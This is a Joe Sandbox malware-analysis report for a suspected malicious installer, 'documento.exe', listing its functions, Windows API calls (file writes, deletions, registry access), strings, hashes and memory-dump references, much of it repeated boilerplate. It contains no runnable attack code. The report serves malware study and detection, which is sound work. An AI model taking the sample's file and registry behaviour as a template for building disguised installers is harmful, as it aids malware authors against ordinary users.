Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 52dd1c4c2d123aabde52000435b878d08d2c9e96ca10076c7107822555445b84
Instruction ID: b2fa69e3c01cfbe572ec2dbf0bcaa4908bc9cb815e6a1824dfc5ffdb45a29167
Opcode Fuzzy Hash: 52dd1c4c2d123aabde52000435b878d08d2c9e96ca10076c7107822555445b84
Instruction Fuzzy Hash: 7CF0B435A08120ABDF20BBA58E0DE4F21A5AB6136DB34477BB112B61D1DAFD850185AF

Uniqueness

Uniqueness Score: -1.00%

Function 00402283 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 004022BC

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 4656573f168c310efd594f08e96abc660716981113b3fc3e41d9438b56e455a3
Instruction ID: ed5e863b5af70a22674a87f6432e4eb84017b1e79b4e81bbc09640d5f5368664
Opcode Fuzzy Hash: 4656573f168c310efd594f08e96abc660716981113b3fc3e41d9438b56e455a3
Instruction Fuzzy Hash: 8AE04F31B001746FDB217AF14E8EE7F11989B84348B64417EF601B62C3DDBC4D434AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402B44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000), ref: 00402B6C

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction ID: 806e3b40af95552ac91145e5354a2e2caa18036cb762c00ee55acc3717e10e35
Opcode Fuzzy Hash: ed1d997f1767e4ebe1524a955060e6e59f62574de8c72c2eb948d7caa6f8d669
Instruction Fuzzy Hash: D3E04FB6240108AFDB00EFA4DD46FA537ECE714701F008021B608D6091C674E5108B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405A17 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000), ref: 00405A2B

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 26d326ee603fa64f849cef49f4367d8274c9975adadc9b0c70b30f96b952ad65
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 66E08C3261026AAFDF109EA18C40EEB3B6CEB04360F008432F911E2140D634EC20DFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004059E8 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000), ref: 004059FC

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction ID: a6feee173889208d7f2b164ec0c021529dd17bfe6846c5dde0bbd097d282ac69
Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction Fuzzy Hash: 44E08632210219ABCF10AE519C44EEB375CFB00350F004833F915F3140D230E8519FA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 02a8e8baa5a524c01434ee569a495eb31e5a41fbc0e4972b747df59c6871b08a
Instruction ID: c0e7c3dc5a7dcdb4abcf1ae6b2c94b9daad9c86c1f50bd1ad5aacfe77fb55035
Opcode Fuzzy Hash: 02a8e8baa5a524c01434ee569a495eb31e5a41fbc0e4972b747df59c6871b08a
Instruction Fuzzy Hash: F6D01D77B14100ABDB10DBA49B0895D77A5A750315B304677D201F11D0D679C5559619

Uniqueness

Uniqueness Score: -1.00%

Function 00403EE2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32(?,?,00000000), ref: 00403EFC

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: b8cc7b808ad147a2d347a58eef98b844e7198dc1f8f1ec02318c1053d68582be
Instruction ID: d605ed1088b008874dde4b8a3a9fdf3530a726ea79c7fc97ea5c66f44dfad5b8
Opcode Fuzzy Hash: b8cc7b808ad147a2d347a58eef98b844e7198dc1f8f1ec02318c1053d68582be
Instruction Fuzzy Hash: 0DC08C31008200BFD241AB04CC06F0FB398EF90316F10C42EB15CA01D2C634C4208A3A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F2E Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00403F40

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 708d19ea551109b1b194d4ca49fea76d79e91ad51e4b41d80c3f3ea302a13512
Instruction ID: a59996f4b7e9e068504c33c606b0867cc0e460aa155bd5cdf8ba5dd419a24ee0
Opcode Fuzzy Hash: 708d19ea551109b1b194d4ca49fea76d79e91ad51e4b41d80c3f3ea302a13512
Instruction Fuzzy Hash: 36C04C71B482017ADA21CF509D49F0777696750B41F5544657220E50E0C6B4E450E62D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F17 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00403F25

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a8f75893dc3b55aa41c318e2ef09a39cbea3501df151919571824d83d4ea5f90
Instruction ID: 65dbcc2540e3052566e14dce8ba9d4df8b534898b5f9aa1fd4013fdf277ded57
Opcode Fuzzy Hash: a8f75893dc3b55aa41c318e2ef09a39cbea3501df151919571824d83d4ea5f90
Instruction Fuzzy Hash: 62B092B6684200BADE228B00DD09F467AB2E7A8742F008024B200640B0CAB200A1DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00403091 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,?), ref: 0040309F

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 5ff25966693df5c3ccda7a99ea4025cbe7cf73b83d997e6322396513365c8623
Instruction ID: 8831d3de15784b4579c3d7b303db9b45d0c358e109056f74ce618eb3ecc3c243
Opcode Fuzzy Hash: 5ff25966693df5c3ccda7a99ea4025cbe7cf73b83d997e6322396513365c8623
Instruction Fuzzy Hash: 74B01231544200BFDB214F00DE05F057B21A790700F10C030B344780F082712460EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F04 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403CE1), ref: 00403F0E

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: ada78b75a849097e4ca9a67b024144bc2dc907817df3d169ae3e4670e3dab934
Instruction ID: 7637a56702c009cdf6d2df62dbdf6ab1f46e74dd5bb36fdb1abe1d05dca4f055
Opcode Fuzzy Hash: ada78b75a849097e4ca9a67b024144bc2dc907817df3d169ae3e4670e3dab934
Instruction Fuzzy Hash: 2EA002754085009BDB125B50FE089557A71B754701721C475B15551075C7315425EB59

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404893 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004048AB
GetDlgItem.USER32(?,00000408), ref: 004048B6
GlobalAlloc.KERNEL32(00000040,?), ref: 00404900
LoadBitmapA.USER32 ref: 00404913
SetWindowLongA.USER32(?,000000FC,00404E8A), ref: 0040492C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404940
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404952
SendMessageA.USER32 ref: 00404968
SendMessageA.USER32 ref: 00404974
SendMessageA.USER32 ref: 00404986
DeleteObject.GDI32(00000000), ref: 00404989
SendMessageA.USER32 ref: 004049B4
SendMessageA.USER32 ref: 004049C0
SendMessageA.USER32 ref: 00404A55
SendMessageA.USER32 ref: 00404A80
SendMessageA.USER32 ref: 00404A94
GetWindowLongA.USER32(?,000000F0), ref: 00404AC3
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404AD1
ShowWindow.USER32(?,00000005), ref: 00404AE2
SendMessageA.USER32 ref: 00404BDF
SendMessageA.USER32 ref: 00404C44
SendMessageA.USER32 ref: 00404C59
SendMessageA.USER32 ref: 00404C7D
SendMessageA.USER32 ref: 00404C9D
ImageList_Destroy.COMCTL32(00000000), ref: 00404CB2
GlobalFree.KERNEL32(00000000), ref: 00404CC2
SendMessageA.USER32 ref: 00404D3B
SendMessageA.USER32 ref: 00404DE4
SendMessageA.USER32 ref: 00404DF3
InvalidateRect.USER32(?,00000000,00000001), ref: 00404E13
ShowWindow.USER32(?,00000000), ref: 00404E61
GetDlgItem.USER32(?,000003FE), ref: 00404E6C
ShowWindow.USER32(00000000), ref: 00404E73

Strings

N, xrefs: 00404B1D
.1, xrefs: 00404E19
, xrefs: 00404E4B
M, xrefs: 00404A3C

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N$.1
API String ID: 1638840714-160380670
Opcode ID: 7ea715c16600e50fe963d9e75a28cfa408fbc2d9e4a6c680b4b0ab3cb37f0c4b
Instruction ID: c4f70692a945eeac8c46a5cc4d62b09966a4cf856849f89cf4e80ba5cf8d6073
Opcode Fuzzy Hash: 7ea715c16600e50fe963d9e75a28cfa408fbc2d9e4a6c680b4b0ab3cb37f0c4b
Instruction Fuzzy Hash: 0D0250B0A00209AFDB10DF54DC85AAE7BB5FB84315F10817AF611B62E1C7789D42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404320 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040436F
SetWindowTextA.USER32(00000000,?), ref: 00404399
SHBrowseForFolderA.SHELL32(?,0041F0F8,?), ref: 0040444A
CoTaskMemFree.OLE32(00000000), ref: 00404455
lstrcmpiA.KERNEL32(: Completed,Fortrstningsfuldere7 Setup: Completed,00000000,?,?), ref: 00404487
lstrcatA.KERNEL32(?,: Completed), ref: 00404493
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044A5

Part of subcall function 004054D7: GetDlgItemTextA.USER32 ref: 004054EA

Part of subcall function 00405F68: CharNextA.USER32(?), ref: 00405FC0
Part of subcall function 00405F68: CharNextA.USER32(?), ref: 00405FCD
Part of subcall function 00405F68: CharNextA.USER32(?), ref: 00405FD2
Part of subcall function 00405F68: CharPrevA.USER32(?,?), ref: 00405FE2

GetDiskFreeSpaceA.KERNEL32(0041ECF0,?,?,0000040F,?,0041ECF0,0041ECF0,?,00000001,0041ECF0,?,?,000003FB,?), ref: 00404563
MulDiv.KERNEL32 ref: 0040457E

Part of subcall function 004046D7: lstrlenA.KERNEL32(Fortrstningsfuldere7 Setup: Completed,Fortrstningsfuldere7 Setup: Completed,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004045F2,000000DF,00000000,00000400,?), ref: 00404775
Part of subcall function 004046D7: wsprintfA.USER32 ref: 0040477D
Part of subcall function 004046D7: SetDlgItemTextA.USER32(?,Fortrstningsfuldere7 Setup: Completed), ref: 00404790

Strings

Fortrstningsfuldere7 Setup: Completed, xrefs: 0040441D, 00404480
.1, xrefs: 004045DA
C:\Users\user\AppData\Local\Temp\Deinotherium, xrefs: 00404470
: Completed, xrefs: 00404481, 00404486, 00404491
A, xrefs: 00404443

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: : Completed$A$C:\Users\user\AppData\Local\Temp\Deinotherium$Fortrstningsfuldere7 Setup: Completed$.1
API String ID: 2624150263-1499438407
Opcode ID: 70b1a66212ab45d461a1c2dd106845162ae904b35f6b36dac720ae7181b22bd9
Instruction ID: 52af94dd87b45bde8ff603abcb7252099f64fe51c68325ad3ba2cad582a3dd3a
Opcode Fuzzy Hash: 70b1a66212ab45d461a1c2dd106845162ae904b35f6b36dac720ae7181b22bd9
Instruction Fuzzy Hash: A8A18DB1900209ABDB11AFA5DC45BEFB6B8EF84314F14843BF611B62D1D77C8A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040559F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,75712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004055C8
lstrcatA.KERNEL32(00420D28,\*.*,00420D28,?,?,75712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405610
lstrcatA.KERNEL32(?,00409014,?,00420D28,?,?,75712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405631
lstrlenA.KERNEL32(?,?,00409014,?,00420D28,?,?,75712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405637
FindFirstFileA.KERNEL32(00420D28,?,?,?,00409014,?,00420D28,?,?,75712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405648
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004056F5
FindClose.KERNEL32(00000000), ref: 00405706

Strings

"C:\Users\user\Desktop\documento.exe", xrefs: 0040559F
\*.*, xrefs: 0040560A
(B, xrefs: 004055F8
C:\Users\user\AppData\Local\Temp\, xrefs: 004055AC

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
